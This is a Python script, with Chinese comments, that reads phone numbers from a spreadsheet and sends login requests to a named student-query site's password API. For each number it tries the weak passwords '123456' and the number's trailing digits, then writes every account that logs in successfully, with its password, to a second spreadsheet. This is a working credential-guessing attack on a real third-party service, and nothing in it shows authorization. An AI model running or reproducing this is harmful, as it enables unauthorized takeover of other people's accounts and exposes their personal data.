import os
import requests
import jsonpath
import time
from Common.my_logger import logger
from Common.handle_excel import HandleExcel
from Common.handle_path import datas_dir
from gevent import monkey, spawn, wait

monkey.patch_all()

#  获取excel数据
he = HandleExcel(os.path.join(datas_dir, "mobi.xlsx"), 'Sheet1')
write_datas = HandleExcel(os.path.join(datas_dir, "mobile.xlsx"), 'Sheet1')


#  获取返回的msg
def get_code(mobile, password):
    url = "https://stuquery.wylkyj.com/api/v1/auth/LoginByPassword"
    data = {"mobile": mobile, "password": password}
    headers = {"accept": "text/plain", "Content-Type": "application/json-patch+json"}
    res = requests.post(url, headers=headers, json=data)
    try:
        cod_data = jsonpath.jsonpath(res.json(), "$.code")[0]
    # except ArithmeticError as a:
    except Exception:
        logger.error('异常! 登录账户是：{}'.format(mobile))
        # raise a
    else:
        return cod_data


#   获取code对比密码
def comparison(mobile):
    global row
    password = ['123456', mobile[5:]]
    for paw in password:
        code = get_code(mobile, paw)
        if code == 200:
            print('密码正确')
            write_datas.write_data(row, 1, mobile)
            write_datas.write_data(row, 2, paw)
            print(row)
            row += 1
            break

row = 0
def get_datas():
    for h in he.read_all_datas():
        mobile = h['phone_no']
        comparison(str(mobile))
        time.sleep(0.2)

li_data=[1,2,3,4,5,6,7,8,9]

def test(i):
    print('开始-我是程序{}'.format(i))
    time.sleep(20)
    print('结束-我是程序{}'.format(i))

def aa():
    for i in li_data:
        spawn(test(i))
wait()

